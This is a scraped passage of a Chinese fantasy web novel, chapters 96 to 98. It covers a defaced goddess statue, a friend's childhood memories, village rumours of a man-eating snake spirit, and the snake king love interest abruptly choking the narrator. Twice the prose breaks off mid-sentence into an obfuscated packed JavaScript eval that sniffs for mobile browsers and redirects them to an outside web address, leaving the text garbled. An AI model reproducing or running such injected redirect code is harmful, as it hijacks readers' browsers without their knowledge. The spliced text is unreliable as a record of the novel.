虽然是泥像,但娘娘仙衣上的金珠与娘娘头上的凤冠,还有娘娘手腕上挂着仙家令牌都是阴苗族人们用真金锻造镶嵌进去的。 现在可好,娘娘神像蜕皮,外面一层泥皮开裂也就算了,头上的凤冠,腕下的令牌也从金子变成银子了…… 难道真是神娘娘动怒?不然好好的金凤冠怎么会变成银冠呢?” 阿乞昂头看着一身狼藉的娘娘神像,拧眉好奇琢磨。 我缓步走近,盯着娘娘神像上开裂发卷的泥皮,伸手摸了摸冰凉的银珠串…… 此时的娘娘神像,就像一条被剐起鳞片的鱼,浑身上下都是密密麻麻向外翻卷的泥皮,模样实在不大好看。 “宋淑贞为了救宋花枝着实煞费苦心,连阴苗族世代供奉的神娘娘都敢亵渎糟蹋。”我揭掉一片彩绘泥皮感慨道。 银杏走过来询问我:“看出什么了吗?” 我将指尖发干的轻薄泥皮捻成细灰,随手扬了, “神像蜕皮,是被人淋了特制的药水,那药水会损毁泥像表层,她将剂量控制的刚刚好,药水不多,刚好能淋湿神像全身,要不了半个小时附在神像表层的水渍就会完全挥发。 部分药水渗进泥像中,神像蜕的这层皮厚度,就是那药水渗入的深度。 药水洒得太多,会有腐蚀神像的风险,而且容易造成神像表面潮湿迟迟不干,药水喷的太少,又不能营造出神像浑身蜕皮的现象。 只有将药量控制的刚刚好,再均匀喷洒神像上,才可以完美设计出这么诡异的一幕。 至于神像上的金子褪色成银,如果我猜的没错,应该是药水里加了大量水银。” “水银,和金子褪色有什么关系?”阿乞不解挠头。 我拂袖转身,看完娘娘庙的情况就打算原路折返,回家睡觉,“学好数理化,走遍天下都不怕!” “数理化……什么玩意儿啊!”阿乞小跑着追上我问。 第96章 真是条冷血的蛇 银杏也跟上我们,思忖了片刻豁然开朗道: “嗷我想起来了,水银吃金!水银会改变纯金的属性,把金子变成金不金银不银的玩意儿! 那些金子只是表面看起来像银,其实并不是真正的银子,已经被水银给糟践坏了! 啧,造孽啊,那凤冠、那金珠子、那纯金仙家令牌要是拆下来卖,不得值好多钱,就这么被大祭司给毁了,败家娘们儿!” “她或许也是无意的,不过金冠变成银冠,你不觉得蜕皮的娘娘神像戴着那东西很瘆人吗?阴森森的,那银冠远远瞧着,质感跟我们平时烧给先人的锡箔纸金元宝似的……”我轻声吐槽。 银杏一个劲地点头,十分认可我的形容: “对对对!别说是阴苗族这些族人了,就是我刚才乍一见到现在的娘娘神像都被吓一跳。真是可惜了当年整个阴苗族挨家挨户凑的这些金子。” “原来是这样啊,还是镜镜姐聪明!我刚才都没猜到这个答案,阴苗族炼阴蛊的确喜用水银,那娘娘庙里涌出来的蛇群恐怕也是大祭司搞出来的幻象。” “十有**了。”银杏一脚踢开一枚碎石子,“你看这山路上,像是有蛇群经过的迹象吗?” 阿乞环顾四周观察了一通,头摇得像拨浪鼓:“不像!” “走吧,先回家。”银杏双手搭在阿乞肩上,揽着阿乞无奈叹气:“这场闹剧不晓得究竟得等到多久以后才能彻底结束,有个厉害的妈就是好!**都可以不偿命。” “谁让咱们阴苗族生活在大山深处呢,这里可是有名的三不管。天不管地不管,人也不管。外面的律法约束不到大山深处的人,在村里报个警,报警电话能不能打出去都难说。” 阿乞瘪嘴念叨: “就连外面的阳苗地界,死个人也是十分常见的事,不过近些年随着来阳苗旅游的人越来越多,政府对阳苗族那边的安全性也愈发重视了起来。 阳苗人为了不惹祸上身,轻易是不会对游客生出坏心思的,顶多强买强卖点土特产。 听说去年有对夫妻在阳苗族那边的大山上失足跌了下去,警方为了确认他们是死是活,牵着警犬在山里搜了好几天。 虽然搜到最后也没搜到夫妻俩的尸身吧,但至少他们的重视态度能震慑一下某些不遵法律的山里人。 不过,游客的生命安全是得到了保证,本地人的性命,还攥在本地族长与祭司的手里。 就上个月,阳苗族还火祭了一个女孩呢!” “咱们族,大祭司兼任族长,大祭司就是手握阖族生杀大权之人。本来还指望你这个大长老能像你师父那样压制住大祭司,没想到你是个小废柴!” “银杏姐你放心,我掐指一算,能掣肘大祭司的人很快就会出现了。” “你掐指算个屁,你掐指算的就没准过……等会儿路过王跛脚家门口,你去给我买两瓶红药水。” “要红药水干嘛?” “镜镜受伤了呗。” “镜镜姐怎么伤的!” “下山被树藤绊着了,滚出了四五百米远,我差点没追上……” “……” —— 回到银杏家,李大叔出门找人下棋去了。 我被银杏按坐在她的床上,脱下衣物,肩膀与后背上全是小石子划破的血口子。 银杏小心翼翼的用棉签给我清理伤口附近血渍,又用镊子夹住吸满医用酒精的棉球,动作温柔地给我消毒。 酒精棉触碰到的地方,疼得我头皮阵阵酥麻。 银杏靠近我,给我吹吹:“忍一忍,你身上没有很严重的伤,就是小血口太多了,你摔下去的时候是不是滚进刺草丛了?” 我尴尬揉太阳穴:“呃……是不小心滚进去了。但是、很快就滚出来了!” 银杏:“……” 一枚浸满冰凉酒精的棉球猛地往我肩上伤口处一按,疼得我立时惊叫起来:“啊疼!” 银杏赶忙夹起酒精棉,心软地继续给我吹吹,赌气道: “现在晓得疼了?坚持要上山的时候怎么没算到会是这个下场?我爸早上可是提醒过你好几遍,宛龙草不好采……你一点也没听。 只是擦破皮已经够走运的了,你知不知道那条路每年冬天要摔死多少人?你摔下去的时候我心都提到了嗓门眼!” “现在不是还没到冬天嘛。”我心虚地缩了缩脑袋,“也没听说过谁夏天走那条路摔**,再说,那地方危险,你不还是陪我一起去了……” “我当然要陪你了!” 银杏歪过头一本正经地和我道: “别说是小小的一片山了,就是上刀山下火海,你宋鸾镜要去的地方,我李银杏也会陪着你去!” “银杏……”我听完,心底不禁一暖。 银杏一边给我上药,一边仗义认真地说: “咱俩是什么交情,从小一起长大! 你总说你小时候招人嫌,是村里人人喊打的灾星,长大了也不讨喜。 可你忘记了么,我小时候名声可不比你强! 阴苗族这地方,排外排的厉害。 我爸不是阴苗族人,但因为与大祭司的那段旧情,又加上老祭司对我爸颇为看重,且我爸自个儿也很有本事,阴苗族这些人觉得他很有留下来的价值,所以才会允许他在阴苗族好好生活,定居生根。 可我就不一样了,我打小就是个来历不明的野种…… 别人骂你野种,纯纯打嘴炮,可骂我野种,却是事实。 虽然我爸每次都说,我就是他的亲女儿,唯一的亲人,但我心里清楚,我就是我爸在外面捡回来的孤儿。 我或许,一辈子都没机会弄清楚我的亲生父母是谁,也许连我爸都不晓得我父母是何人。 小时候,村里这些男女老少总在背地里议论我,要么说我是我爸从乞丐窝里捡来的野货,要么说,我是我爸和外面女人的私生女。 可能连大祭司都是这么想的,所以我幼时,阴苗族里人总会看在大祭司的面子上,多欺负我几回。 到了上学的年龄,班上同龄人总会变着法地来找我麻烦。 最开始,我也很想和他们和平相处,我也想有朋友,但他们都嫌我,他们用欺辱我的方式来向大祭司表忠心。 上一年级那会子,我的桌兜里总会随机刷新一些毒物。 天牛、**毛虫、蜈蚣、死蛇,我的作业本也总会被人恶意涂抹,再用红笔写上杂种、私生女几个字。 渐渐地,我不得已,变得越来越凶悍,我学会和人打架,学会以牙还牙。 学校里的老师看人下菜碟,每次都故意把错归咎在我头上,她们对我不公,我就愈发叛逆,同学欺负我我就打同学,老师诬陷我,我就骂老师。 久而久之,我在学校被体罚,被罚站,都成了家常便饭……” 她说着,突然探头眉飞色舞地问我: “你是不是一直以为,咱俩能做朋友,是因为你小时候挨同学欺负,我替你出头?我们的友谊是从那时候才开始的?” 我好奇地提了提肩上衣物: “要不然呢?你帮我打走那些朝我扔石子的同龄孩子那天,是我第一回见你,后来隔了两个月,你爸带你去我家拜年,我才知道你是李大叔的闺女。” 银杏摇摇头,兴奋地告诉我: “才不是呢!我们第一次见面,是你三岁,我四岁,可能你当时还不怎么记事。 但我记得啊! 那天山里下着**毛雨,我被张家那死孩子给骗进山,失足掉进了一个很大的泥坑。 我一个女孩子,力气不够,爬不上去,张家那死孩子还一个劲朝洞里扔大石头,我脑袋都被他砸破了。 原以为我会被他砸死在泥坑里,可谁能想到,你那天也进山了! 你进山溜鹰,发现那狗东西在欺负我,就驱使黑鹰将他啄得抱头逃窜,把他收拾得鼻青脸肿。 然后你又拽断路边一截树藤丢进泥坑,吭哧吭哧地把我拉了上来。 我当时就在想啊,这么小的一个香香软软小团子,哪来这么大的力气能把崴脚一条腿使不上力气的我拉上去…… 我小时候可是个小胖子! 你当时扶我坐在石头上,一口一声姐姐,喊得我心头化了,你看见我流血受伤,还给我采了止血的草药,搓碎了揉出汁水按在我的脑袋上…… 你那会子,虽然年纪小,说话都不太利索。 但你心眼好,又乖又萌,你会驯鹰,还会驭蛇,你懂得可多了。 我本来不知道你到底是谁家孩子,回家后我将当天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217708|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭遇告诉我爸,我爸一听山里有个会溜鹰驭蛇的孩子,立马就猜出是你了。 打那时起,我就暗暗发誓,以后一定要把你当亲妹妹保护! 所以你刚去村头学校上学,我就去找你了!” “我、怎么不记得这件事了?” 我晃了晃脑袋,对她说的旧事毫无印象, “而且,我小时候明明是个废柴……我不怕蛇就已经谢天谢地了,怎么会驭蛇?” 银杏给我上药的动作一僵,表情逐渐拧巴,犹豫很久,才说: “镜镜……在我的记忆里,你三四岁那会子就已经很厉害了,你不用学习巫术就能操控山里一众生灵,驭蛇驯鹰,对你而言只是最简单的操作。 是老祭司……她怕你早慧,抢了宋花枝的风头,被大祭司盯上,所以在你身上下了封印,让你变得平庸……” 顿了顿,怕我多想,担忧地从后抱住我,小声道: “镜镜,你别怪老祭司,老祭司也不想剥夺你修炼巫术,变强大的资格,但、你这条命,真的是老祭司耗费很多心血才保下来的。 你越聪明,大祭司就越容不下你。一个枝头,怎么能开出两朵最艳丽的花来呢。花开并蒂,注定要折掉一朵,成就另一朵。” 我沉默了半晌,拍拍她的手背:“我知道,我怎么会怪外婆呢,外婆做得很对。银杏,这世上除了外婆,也就只有你和青漓最在乎我了。” “那当然。” 她低头,下颌倚在我肩上郑重道: “我李银杏,生来就是为了保护宋鸾镜!镜镜,我们要做一辈子的好姐妹。 等我们老了,就坐在一起嗑瓜子,像村长老婆和她的老姐妹们那样,成天唠着东家长西家短!” 我无奈轻笑:“好。” “到时候,你和蛇王大人的孙子说不准都长得老高了。嗳,今天怎么没见到蛇王大人?” “他昨天出门办事去了,现在可能已经在家里等我了。” “哦!” 但我这次,好像没猜中。 等我一瘸一拐地走到家门口,满怀期待地推开院门后,才发现家里只有小凤凰一个在。 小凤凰站在院子里的梨花树上开心吃果子,我和它问起青漓,她却说青漓根本没回来…… 奇怪,这都一天一夜了,怎么还没回家。 不会在外出事了吧? 不可能不可能,他可是蛇王,山里……除了华桑大帝那位正神,还有谁能降得住他。 肯定是有什么麻烦事绊住脚了。 但他没回家,还是让我一整天都心绪不宁的。 我拿出一早采的宛龙草,心不在焉地磨了一下午。 原本只需要磨碎的草药,硬生生被我磨成了褐色药粉…… 青漓不在家的这一天,好像时光过得格外慢。 好不容易熬到太阳落山,熬到深夜…… 子时,我卧房的门吱呀一声,被一缕灵光推开一道缝。 我一惊,心头一喜,当即掀开被子从床上激动地坐起身。 “阿漓!” 但还没来得及和他说上一句话,那缕青光就一溜烟钻进了我无名指上的蛇瞳戒指内。 我哽住,望着敛进青翠蛇瞳戒面内的那缕幽光,一时倍感落寞。 现在回来,都不和我打声招呼了吗? 不过,也正常,他本来就是目下无尘的清冷蛇王……性情一贯傲娇。 算了,只要他能回来,我就放心了。 我乖乖重新躺下,提起被子裹紧,闭上眼睛安静了一会儿。 还是忍不住地开了口,小声问他:“青漓,你是太累了吗?” 戒指里的他没回应我。 耳边的寂静让我略有些心慌,“青漓,你不说话,是不是受伤了?” 昨天他身上就有血,而且他这次出门办事,本来就是去打架的…… “是不是真的受伤了?青漓,你好歹、出声应我一句,不然我不知道你的情况……” 会担心的睡不着。 奈何话还没说完,就被一道冷漠低沉的嗓音打断:“你太聒噪了。” 一句话堵住了我的嘴。 似乎还带有怪罪的意思…… 我沉默下来,先前的担忧在心底悄然转化成一汩汩绞着心脏的酸涩感。 这家伙,真是条冷血蛇。 第97章 宋鸾镜,你从未信任过本尊 不过,说来也够奇怪的。 分明……他受不受伤和我没关系。 嫌不嫌我烦也无所谓。 为什么,他冷淡的态度会令我心中很不是滋味呢…… 甚至,彻夜辗转难眠。 清晨六点钟。 我晕晕乎乎地躺在床上,还是没能进入深度睡眠状态。 他从戒指里飞出来时,我第一时间就感应到了。 可脑子里却本能地冒出一个念头:他嫌我烦,我就不理他!除非他主动来找我说话…… 我为了他一夜没睡好,他多少得、关心我一下吧。 于是我就自以为是地闭着眼,假装睡着了。 没有上赶着与他说话。 但现实,总是事与愿违。 他似在我床前站了好一阵,也不晓得在做什么。 总之,没理我,也没碰我。 后来,一声不吭的化风离开了我家。 我躺在床上,失落地睁开眼。 歪头往被窝里蹭了蹭,委屈低吟道:“还真是,冷心冷情的蛇王。” 我到底在期盼些什么。 他之前对我好,不过是怕我**。 他只是将我当条小宠物养着罢了,宠物不就是这样么,只要保证她还有口气在,没翘辫子就够了。 开心了,就做点小宠物爱吃的东西逗逗小宠物。 不开心,就一脚将碍事的小宠物踢得远远的。 他与我之间,不过是强者对弱者的怜悯。 怎么可能会有喜欢…… 果然,人是不能对别人抱有希望的。 一旦抱有一丝丝希望,失望的时候,希望就会变成无数根扎进心脏的银针…… 算了,本来就是普通朋友。 无所谓的。 不能让他影响了我的心情,不能难过,难过老得快! 疯狂给自己洗脑了两个小时,哪成想非但没能让自己心绪平静下来,乖乖睡着,反而还愈发精神。 看着外面大好的天光,我颓废起身,随便挑了身暗红色的苗族衣物穿上。 再用银簪简单挽起长发。 伸了个懒腰出门收拾院子。 将厨房拐角木架子上晾晒的几份草药收进屋,我又打开院门,准备去院墙右边的菜园里弄些青菜回来下素面做早饭。 谁知刚出院子,就听见两个扛着铁锹从田里回来,恰好路过我家门口小道的中年男人紧张兮兮地沉声议论: “我也听说了,是有这回事,也不知道柳叶村是造了什么孽,怎么会得罪山里的蛇仙呢! 听说还是条大青蛇!都三天了,每晚都**……那蛇该不会跑到咱们月阴村来害人吧?” “大祭司今早不是赶去柳叶村了么?不会的,我们应该还安全。 圣女和大祭司都在咱们月阴村,咱们可是阴苗族的头寨头村,那些仙家不会无故在咱们村为非作歹的…… 再说,咱们还有位鬼师娘娘在,鬼师娘娘的鬼符专克野仙。 你忘记三十年前,老祭司当着所有族人的面,用鬼符打**一条狼仙那件事了吗?” “鬼师娘娘的鬼符确实厉害,可,你怕是忘记了,鬼师娘娘家就养了条青蛇大妖啊! 我听老王讲啊……**的那条大青蛇说不准就是鬼师娘娘家那条!” “什么?不可能吧!鬼师娘娘可是地府亲自挑选的阳界使者,早就听说当鬼师娘娘得遵守很多条条框框的规矩,其中有一条就是不能害人。” “也没说那条大青蛇是鬼师娘娘放出来的,或许鬼师娘娘自己也不知道那条大青蛇跑出去惹事了呢! 但,鬼师娘娘的那条大青蛇可是三百年前祸乱苗域的青蛇大妖,现在跑柳叶村**的那条大青蛇,行径与当年的青蛇大妖一般无二……” “我们直接去问问鬼师娘娘不就知道答案了!” “你傻啊!鬼师娘娘和那条大青蛇都当夫妻了…… 上次大祭司为了逼鬼师娘娘交出青蛇大妖,差点用巫火把鬼师娘娘烧**,也没见鬼师娘娘把青蛇大妖供出去,可见鬼师娘娘对那条青蛇大妖感情很深! 你去问鬼师娘娘,只有两个结果,要么鬼师娘娘也不晓得这回事,但她信任青蛇大妖,绝不相信青蛇大妖会去柳叶村**。 要么鬼师娘娘都知道,但为了掩护青蛇大妖,拒不承认**的就是青蛇大妖! 那青蛇大妖再怎么说也是她男人,鬼师娘娘再厉害,也是个女人。 还是个胎毛都没褪尽的丫头片子! 眼下,我们只能寄希望于大祭司与圣女了。” “你说得对,圣女是神娘娘转世,当初青蛇大妖就是被她**的,如果**的那条巨蛇真是青蛇大妖,她肯定有办法收拾那条妖物!” “你说这老祭司还真是偏心她这个小孙女,到底是她亲手养大的孩子,临了还不忘把鬼师的身份传给宋鸾镜……还不如传给圣女呢! 宋鸾镜那个丫头片子平时看起来就是废物一个,脑子也不灵光! 竟然为了不嫁给灰狐大仙,跑去嫁什么青蛇大妖。 那个青蛇大妖与灰狐大仙能比吗?听称号就能知道谁更厉害,一个仙一个妖。” “那说不准人家就好这一口呢……你啊,还是少说两句吧。 鬼师娘娘是地府选的人,那小丫头和圣女比,的确没有圣女心眼子多! 你这些话,私底说说也就算了,别传到鬼师娘娘耳朵里了。 谁家没个老人,你老母亲未来要是两眼一闭,撒手去了,还得人家鬼师娘娘画鬼符引她老人家上路呢……” 菜园里种的玉米秧这段时间已经长到两米高了,玉米叶本就茂密,我此时又是蹲在菜园里,手里还攥着刚薅起来的一棵青菜,所以两人从我家门口经过并没有注意到青菜地里的我。 柳叶村,**的大青蛇…… 难道是青漓? 想到这,我心猿意马地立即低头,继续薅青菜分散注意力。 不可能,青漓不会**。 他根本不是什么害人的妖孽。 他要是想**,我早就没命了。 他即便要**,也该先吃我…… 回想起他前天衣物上的血迹,那会子他和我说过,是其他妖物的血溅他身上了。 所以,柳树村闹蛇妖,大概率是其他蛇类仙家在柳叶村伤人。 说不准,他要办的那件私事,就是和在柳叶村伤人的蛇仙打架…… 毕竟,他可是蛇王。 一定是他帮柳叶村收拾蛇妖的时候现了真身,被那些村民看见了,所以族人们才会误以为**的巨蛇是他…… 对,肯定是这样。 他们刚才不也说了么,柳叶村已经连续三天夜里有人被吃了,可昨夜,青漓明明和我在一起。 他绝不会是柳叶村那条**的蛇仙。 罢了,与其如今在这里胡乱猜测,不如等晚点他回来,再问问他究竟是什么情况。 他……不会骗我。 被村里的谣言这么一闹,我心里更是惴惴不安了。 隐约间,总有种不祥的预感。 总觉得,最近会有什么大事要发生…… 早饭没心情做,午饭也没精神吃。 一整天下来,只蒸了一笼红薯饼给小凤凰解馋。 怕她饿着,我特意将前天做的荷花酥拿出来给它当零嘴。 好在小家伙就爱吃些杂七杂八的糕点,一盘荷花酥下肚,又啃了一笼红薯糕,晚饭时分她的小肚子已经撑得鼓鼓的,连口水都喝不下去了。 这样也好,晚饭又省了,不用我做了。 “主人,你今天到底怎么了?为什么一整天都不开心,也不吃东西。” 晚上七点,我在房间里埋头磨着草药香粉,小凤凰平躺在我手边翻着肚皮消食。 我恹恹道:“没怎么,就是一个人在家无聊,而且前几天肉食可能吃多了,胃里发胀,不饿。” 我没好意思告诉她,我是有心事,才吃不下饭。 “主人哪有一个人,小凤不是一直陪在主人身边吗?可小凤今天好几次找主人玩,主人都无精打采的。” 小凤凰伸翅膀戳了戳我的手臂,一语道破:“小凤知道了,主人是因为帝君不在家,所以才没精神,觉得无聊对不对!” 我一愣,心弦乱了一拍,嘴硬否认:“没有……” 小凤凰从桌子上跳起来,掐腰得意道: “别骗小凤了!小凤是鸟,我们鸟类最擅洞察人心了! 之前帝君在家,主人每天都很开心……自从帝君出门办事,早出晚归,主人你和帝君说不上话,就颓废了! 主人你这种症状,小凤猜得帝君回来才能缓解…… 啧,还说不喜欢帝君,你分明就是在意帝君,舍不得帝君嘛! 主人你惨啦,你坠入爱河了!” 我转着小石磨,被她说中了心事,不好意思地挥手撵飞她,硬着头皮否认: “胡说些什么呢!我哪里、坠入什么爱河了……只不过是同住一个屋檐下,时间久了有点习惯了……” 小凤凰扑扇着翅膀飞在半空故意和我唱反调:“切~小凤才不信呢!主人你就口是心非吧!小凤跟了主人那么久,主人是什么性子,小凤还不了解吗。” “哪来的那么久?我们才刚认识没几天好不好!”我自知说不过她,心虚地赶忙转移话题:“我看你现在挺闲的,你帮我把黄纸和黑鹰血拿过来,我画张符。” “嗷!”小凤听话地飞到靠墙桌子上,爪子里攥住两张黄纸,张嘴将一小叠掺了墨水的黑鹰血给我衔过来,扭头又体贴地给我送支狼毫。 我端起盛放墨水的小瓷碟,抬起右手,口中默念一个咒语。 右手食指指腹便遽然一疼,瞬间多出一道血口子。 “主人你这是在干嘛?”小凤好奇地探头看我放血。 我盯着指尖迅速聚拢的血珠,伸手,任灼目的指腹血一滴一滴砸进瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217709|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碟内,与里面的墨水黑鹰血融合。 九滴血滴完,瓷碟内的乌黑液体表面倏地迸发出一层浅浅金色光泽。 我覆手用阴阳鬼术令伤口愈合,拾起狼毫,笔尖没入墨水,搅了搅。 “画符啊。”我耐心回答。 “用主人的血画符,画什么符?”小凤求知欲极强。 待我的血与碟子里的东西完全融为一体后,我才提出毛笔,熟练地在桌上黄纸正面一笔绘出一道字迹飘逸的灵符。 “平安符。” 小凤听罢眼前一亮:“给小凤的吗?” 我尴尬抖了抖嘴角,残忍说出真相:“哈哈,不是。给青漓的。” “哼,又是给帝君的,生气!”小凤凰扭头背对着我委屈画圈圈,低声咕哝:“主人以前明明最喜欢小凤,小凤和珠子才是主人的最爱……现在竟然被帝君趁人之危、趁虚而入了!帝君真不讲武德!” 我瞥了眼气鼓鼓的小凤凰,拿她没办法的抿唇轻笑笑。 画完平安符后,我又在另一张黄纸上画了个护身符。 从口袋里掏出一枚迷你版的黄色绣球花香囊,把画好的护身符折成小三角塞进去,趁小凤凰不注意,直接给她挂脖子上。 傻乎乎的小黄鸟好奇低头瞧了一阵,半晌才反应过来,捧起脖子上的香囊兴奋跳起来: “耶?小凤也有香囊,也有主人亲手画的灵符!还是护身符!小凤也有香囊了!” 转头开心地往我胳膊上一扑,抱着我的手臂欢喜蹭蹭,像个长不大的孩子,一点小礼物都能让她激动的找不着北: “主人你真好!小凤就知道主人最疼小凤了!主人只要有什么好东西都会给小凤留一份!小凤最爱主人了!” 我拿她没办法地挠挠她头顶小揪揪: “傻瓜,你现在是我们家的一员,你想要的,我肯定会给你做。 你的香囊和青漓的不一样,青漓的香囊里要装安神静心、驱蚊助眠的药草粉。 你的小香囊里装的是花果香粉。有助于集中注意力、提神醒脑的。” “是花果香,还有桃子味。”小凤凰喜不自胜地捧着香囊在桌子上蹦蹦跳跳:“是小凤最喜欢的味道,小凤爱**!” 见她喜欢,我才放心地用银勺舀起小石臼里的药草香粉,装进绣好的凤凰花香囊里。 再把平安符折好,一并放进去。 做完这一切,我捏捏酸痛的手臂,这才有时间倒杯温茶喝口水。 小凤凰还在为新得了一枚香囊而高兴地在屋内乱飞,我一口茶水下肚,昂头,竟意外地看见一袭墨青古袍、皎皎银发及腰的俊美蛇王长身玉立在我卧房门口…… 青眸幽冷,俊容微寒。 “青漓!”我连忙将还没完全做好的香囊顺手塞口袋里,心头一颤,起身小跑着迎上去,“你终于回来了!” 看见他,我竟会心生欢喜。 “哇?帝君回来了?” 小凤凰挥动双翅心情极好地懂事道: “帝君你终于回来啦,再不回来我家主人就等成望夫石了! 你今晚总算回来得早些了,你和主人先聊,小凤不打扰你们的二人世界,小凤出去兜一圈,给附近鸟类显摆一下小凤的新香囊。” 说完,小黄鸟一个仰冲嗖的一下飞进了漆黑夜幕,瞬间就没了影子。 我被小凤凰话中的‘望夫石’三字给说红了脸,心乱如麻的揪着袖子,低头耳根发烫的嘴硬:“你、别听她胡说……我也没有很想……” ‘见到你’三个字还没说出口,就被他极为冰冷的言语打断:“你有事要同本尊说?” 不知是不是我今天太敏感了,总觉得他的语气……很不对。 他以前从不会用这么生硬冰冷的语气同我说话。 倒真是,好脸给多了,都让我忘记他本该是什么样子了…… 我失落地后退半步,识趣拉开与他之间的距离,静了静,还是没忍住关心他: “听说,柳叶村闹蛇仙,青漓你这几天,是不是在柳叶村办事?你……” 我想叮嘱他要小心,虽然村民们误会他,但他不用有后顾之忧,有我在,我会想法子替他证明清白。 我还想问问他,这两天是不是遇上什么棘手事了,所以才心情不好…… 但他,却不等我说完就没有感情的冷冷道:“你想问,本尊是不是那条**的蛇仙,对么?” 我哽住,顿时手足无措:“我没……” “如果本尊告诉你,就是本尊呢?”他抬眸直视我,眼底森森寒意翻涌。 我哑住,这家伙到底怎么了,看样子像是在和谁赌气,又闹什么别扭呢。 “我知道不是……” 他今晚特别喜欢打断我,携着一身彻骨寒意逼近我两步,目光阴冷锐利,仿佛要透过我的眼睛,看穿我的灵魂, “你嫌本尊是蛇妖,与你不是同类,宋鸾镜,你从未信任过本尊。” 第98章 看见他和别人恩爱,你就这么难受? “我……”我忽然心头一酸,绞痛感强烈。 委屈的眼角发烫。 我怎么就从未信任过他了?这件事我从始至终都没有怀疑过他…… 失神的这几秒,他陡然伸手一把掐住我的脖子。 脖颈被他的大手猛用力握住那瞬间,我浑身鸡皮疙瘩都起来了! 不敢相信地愣愣望着他,感受到脖颈上越收越紧的力度,我呼吸得也愈发急促艰难。 迎上他寒刃般的阴冷眸光,我没有挣扎。 下意识在想,自己究竟做错了什么事……惹他这么厌恶。 他看我的眼神里,丝毫不见往日的温和宠溺与纵容……有的只是疏冷与怨念。 直到我被他掐得一口气喘不上来,眼前发黑,他才冷漠地撒手放过我。 挥开广袖,他转身离开房间,临走还不忘沉声通知我:“本尊最近,不想看见你!” 说完便化作一缕清风消散在了门口。 他走后过了半分钟,我才身上一软,弯下紧绷的脊背…… 温热的眼泪滑下眼睑,砸落在梨花木桌面上。 这条臭蛇,今晚又抽什么风呢! —— 小凤凰在外玩耍到凌晨两三点才回来,许是见我屋里熄了灯,以为我睡了,便没有再进来吵我。 我一个人静静躺在大床上,面朝墙壁迟迟无法入睡。 他面无表情目光冰冷地掐我脖子那一幕在我脑海中反复浮现…… 如今的青漓,比他与我在红云洞初见那晚,还让我感到陌生。 一个人,怎么会一夜之间突然转了性呢。 他离开前,还嘱咐我乖乖待在家里等他回家来着…… 莫非,是遇见什么难事了? 怕拖累我,所以才故意对我冷酷无情? 虽然这个猜测有点离谱,但,也并不全无可能…… 我不相信他之前待我的好,全是一时兴起。 柳叶村的事,我还是得自己想法子查清楚。 熬到凌晨四点,天都快蒙蒙亮了,我才撑不住的浑浑噩噩睡着过去。 但一觉醒来,却只过了三个小时。 躺在床上实在睡不着了,我翻来覆去地纠结了半个小时,还是选择早早起身。 头一天三顿饭都没吃,我早已饿得前胸贴后背了。 洗漱完简单下了碗青菜面条,还顺道给小凤凰打了两个溏心蛋。 我坐在门口捧着蓝边瓷碗大口吞面条,小家伙则站在我旁边的木凳上埋头津津有味地吃溏心蛋。 不晓得是学了谁的模样,边吃饭还边口齿不清地与我聊天:“主人你昨晚看见帝君,心情有没有好点?” 我噎下一口青菜,怔了怔,低头敷衍:“嗯。” 小凤凰得到我的答案,更加欢喜地跳起来:“小凤就知道,主人你口是心非!你哪里是胃胀吃不下饭,你根本就是想念帝君,想得茶不思饭不想!” 我昂头,张了张嘴想反驳,但违心的话却迟迟说不出口…… 也是这一瞬,我突然意识到……他给我的感觉,确实与旁人不一样。 与银杏也不同。 银杏如果突然和我翻脸,我肯定会怀疑她没睡醒在说梦话,绝不会将她不想要看见我这几个字眼当真。 可青漓…… 我竟下意识害怕,他的这些话是发自肺腑。 从小到大,我身边最亲近的人仅有外婆与银杏。 而我心中也确信外婆和银杏绝不可能不要我,我相信这个世上哪怕所有人都不管我、厌恶我,银杏和外婆也不会离我而去。 所以,我根本不畏惧她们的任何试探。 但昨晚的青漓,却令他在我心中积累的安全感瞬间烟消云散一丝不留。 我害怕对上他那双冷漠疏离的青眸,害怕他说不想见我是真心话。 更害怕会失去他、这个朋友…… 从与他相识到昨天,我都没有想过,有朝一日他也会彻底离开我。 终归还是被现实狠狠打了脸。 “我昨晚出去玩,听小麻雀说,帝君昨天找山里的桃花妖买了个玉簪子!还是个雕刻着凤凰花的红玉簪子,帝君肯定也悄悄给你准备礼物了! 五月过完,六月六可是大山姑娘节。 我听说,三千里苗域的苗家女儿们都很重视这个节日,过姑娘节未婚的女孩需要父母为她准备银花簪挽发,已婚的女子则需要丈夫给她准备银花钗。 哪家女子在六月六姑娘节这天收到的银首饰最精致最贵重,就证明哪家女子过得最幸福! 父母与丈夫脸上也最有面儿! 而且,女子嫁人后新婚第一年的女儿节,丈夫需要一百分用心地给她准备花钗,丈夫送的花钗花型越繁琐,就寓意着小两口往后的日子越甜蜜。 我清晨去李叔家遛弯,顺便问了嘴他有没有给小银杏准备。 小凤原以为李叔不是阴苗族人,不会重视阴苗族这些民间节日的。 谁知李叔却告诉我,六月六在其他族也是祈求女孩子们健康欢喜的节日,他虽然没有入阴苗族的族谱,但却在阴苗族住了二十来年,要入乡随俗,别的女孩子有的,小银杏也要有。 他还给我看了今年给小银杏准备的礼物呢! 不但有银杏叶簪子,还有一把刻了小银杏名字的长命锁。 李叔说,他每年都会给小银杏准备银饰,这些都是小银杏以后出嫁压箱底的资本!” 